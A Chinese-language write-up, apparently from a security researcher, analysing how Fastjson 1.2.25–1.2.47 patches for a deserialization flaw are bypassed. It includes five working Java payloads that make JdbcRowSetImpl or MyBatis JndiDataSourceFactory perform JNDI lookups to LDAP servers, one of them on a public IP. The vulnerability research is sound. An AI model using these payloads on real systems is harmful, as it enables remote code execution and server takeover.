把之前fastjson反序列化中的内容分出来了,方便以后根据版本去找到相应的文章POC
FastJson >=1.2.25的修复
Fastjson从1.2.25开始对这个漏洞进行了修补,修复方式是添加了一个checkAutoType()函数使用黑白名单的方式来限制反序列化的类,但是在后面的版本中依旧存在的绕过的手段
Fastjson1.2.25-1.2.47的补丁绕过
其实这里的话是分版本的,不同版本会针对不同补丁进行绕过,挨个来看一下
1.2.25 - 1.2.41 补丁绕过
把版本换成1.2.41
前面我们也说过Fastjson>= 1.2.25会禁用自动类型转换功能,也就是AutoTypeSupport的选项是默认关闭的

深入代码分析
根据报错的函数调用栈,跟进com.alibaba.fastjson.parser.ParserConfig#checkAutoType()方法
在该函数名所在行打上断点,跟进这个函数看看

此时@type字段的值被解析成typeName,继续走代码

可以看到此时会取autoTypeSupport的值进行判断是否支持自动类型转换,这里默认是false,所以会进入这个if语句,此时就会抛出报错
继续回溯,checkAutoType方法在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject()中被调用

public static String DEFAULT_TYPE_KEY = "@type";
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = this.config.checkAutoType(typeName, (Class)null);
这里有一个DEFAULT_TYPE_KEY,值就是@type
我们看看1.2.24的该位置源码

看到了吧,1.2.24是在确定直接进行loadclass方法去加载类的,所以这个地方就是1.2.24漏洞的修复
回头仔细看一下checkAutoType方法的逻辑
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
for(int i = 0; i < this.acceptList.length; ++i) {
String accept = this.acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(int i = 0; i < this.denyList.length; ++i) {
String deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
for(int i = 0; i < this.denyList.length; ++i) {
String deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(int i = 0; i < this.acceptList.length; ++i) {
String accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
挨个看一下

检测typeName的值是否为空后,这里分别有一个白名单过滤和一个黑名单过滤,白名单匹配成功就loadclass加载类,否则进行黑名单过滤,匹配成功则抛出报错

从Map缓存中查找获取类

如果未开启autoTypeSupport,则先进行黑名单过滤,再进行白名单过滤,如果白名单匹配成果就loadclass加载该类,否则报错未找到该类
补丁绕过思路
注意到这行代码

这里只需要autoTypeSupport开启就能直接loadclass加载类,我们跟进loadClass函数

看到如果我们的类名开头是[,也就是说此时类名是一个数组类型,那么就会递归调用loadClass方法去加载类,然后使用 Array.newInstance 方法创建一个该组件类型的数组实例,并返回该数组实例的类对象。
如果类名是L开头并且以;结尾,此时会去掉开头和结尾并加载类
- JdbcRowSetImpl利用链绕过
看到我们前面1.2.24讲到的JdbcRowSetImpl利用链
import com.alibaba.fastjson.JSON;
public class Fastjson_Jdbc_LDAP {
public static void main(String[] args) {
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
结合上面的发现可以改成(记得要开启AutoTypeSupport)
POC1
package SerializeChains.FastjsonSer;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class jdbcRowSetlmpl {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}

并且这个是递归处理的,也就是说我们传入[[;;也是可以的
1.2.25 - 1.2.42 补丁绕过
从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist
把版本换成1.2.42再跑一下发现出现了autoType is not support的报错
补丁绕过思路
打断点进入checkAutoType函数中跑一下,狂点f8看看是哪里卡住了

正常来说这里因为我们加上了L和;的话哈希值应该是匹配不上的,但是这里匹配上了,说明我们的typeName被处理过了,往前看一下


在经过这个if语句后会把开头的L和;去掉,继续往下走

这个loadClass函数的内容是不变的,也就是说这里只是单纯的计算了开头和结尾的字符进行过滤,我们还是可以通过双重字符去绕过的
POC2
package SerializeChains.FastjsonSer;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class jdbcRowSetlmpl {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}

1.2.25 - 1.2.43 补丁绕过
把版本换成1.2.43再跑一下就出现一样的报错
继续来到刚刚的函数找到刚刚的if语句

多加了一层检测,通过检查字符串的第一个字符和第二个字符的组合进行检测,符合则会抛出报错
打断点跑一下看看

看来是这样的,那这时候我们该怎么绕过呢?
补丁绕过思路
还记得之前我们在分析loadClass函数的时候除了L和;的组合还有一个吗?

尝试写一下poc
package SerializeChains.FastjsonSer;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class jdbcRowSetlmpl {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
但是抛出报错了

Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://124.223.25.186:1389/3omsng", "autoCommit":true}
意思是预期在42列的位置接收一个[但是是,,而42列刚好是第一个,逗号,在逗号前面加上一个[试一下
package SerializeChains.FastjsonSer;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class jdbcRowSetlmpl {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
又有新报错
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43
意思是需要在43列的位置加上一个{,跟着加就行了
所以最后的poc是:
POC3
package SerializeChains.FastjsonSer;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class jdbcRowSetlmpl {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}

因为[{ 组合成功地将解析器推入了一个新状态,它认为自己正在解析一个对象数组,并且这个数组的类型就是刚刚检查通过的那个类。也就 可以正常loadClass 了
1.2.25 - 1.2.45 补丁绕过
看一下1.2.44版本下的检测

这里直接对第一个字符的哈希值进行了检测,然后直接抛出报错,所以目前来看还没有找到一个很好的绕过方式
换成1.2.45继续分析
利用条件
- 前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列的版本。
- autoTypeSupport属性为true才能使用
我们在pom.xml中导入这个jar包
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.6</version>
</dependency>
然后poc是
POC4
package SerializeChains.FastjsonSer;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class jdbcRowSetlmpl {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
"\"properties\":{\"data_source\":\"ldap://127.0.0.1:9999/EXP\"}"+
"}";
JSON.parse(payload);
}
}

这个其实是因为JndiDataSourceFactory这个类在1.2.45版本中并没有在哈希黑名单中,不过在1.2.46中就进入黑名单了
version hash hex-hash name
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource

深入代码分析
继续往下调试分析org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这条利用链的原理。
因为之前很早就说过,在触发fastjson反序列化的时候会调用setter方法,而在poc中设置了properties的值,我们看看这个类的setProperties方法

这里就是熟悉的JNDI注入漏洞了,即InitialContext.lookup(),并且这里的参数是由我们输入的properties属性的data_source值获取的,所以我们的poc就顺其自然了,没毛病!
1.2.25-1.2.47补丁绕过
这个是一个通杀的技巧,无需开启AutoTypeSupport都能成功利用,也是基于checkAutoType()函数绕过的
深入代码分析
还记得之前介绍过吗?在经过第一轮白名单+黑名单的过滤后会尝试从map中获取类

那我们是否可以尝试将我们需要加载的恶意类提前加载到map缓存中,这样在获取的时候就能获取到这个类呢?
跟进getClassFromMapping方法

可以发现mappings里面都是键值对
POC5
这里我觉得先给poc会好一点
package SerializeChains.FastjsonSer;
import com.alibaba.fastjson.JSON;
public class jdbcRowSetlmpl {
public static void main(String[] args) {
String payload = "{" +
"\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" +
"}," +
"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"dap://127.0.0.1:9999/EXP\"," +
"\"autoCommit\":\"true\"" +
"}"+
"}";
JSON.parse(payload);
}
}

调用链分析
在调用DefaultJSONParser.parserObject()函数时,会对JSON数据进行循环遍历解析
第一次解析
在第一个键值对解析的时候,会进入checkAutoType函数,因为未开启AutoTypeSupport,那么就不会进入黑白名单的检测,由于@type执行java.lang.Class类,该类在接下来的findClass()函数中直接被找到,并在后面的if判断clazz不为空后直接返回clazz为java.lang.Class


接着往下走,来到MiscCodec#deserialze方法

会检查是否包含一个key为val的键值对,parser.accept(JSONToken.COLON);是检查JSON语法的代码,检查在键名val后面是否是一个冒号,随后会解析val键对应的值并赋值给objVal,parser.accept(JSONToken.RBRACE);也是一个语法检查,检查值的后面是否是一个花括号

检查objVal是否是字符串,并赋值给strVal

接着检查clazz是否是class类,是的话就调用TypeUtils.loadClass(),加载strVal所指向的类

成功加载该类后会将其缓存到Map缓存中,至此第一次解析就完成了
第二次解析
这个就很简单了,当我们成功将这个类加载到Map缓存中时,此时调用TypeUtils.getClassFromMapping()能成功从缓存中获取到该类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测

但是如果目标服务端开启了AutoTypeSupport呢?经测试发现:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
其他的版本限制:
基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191
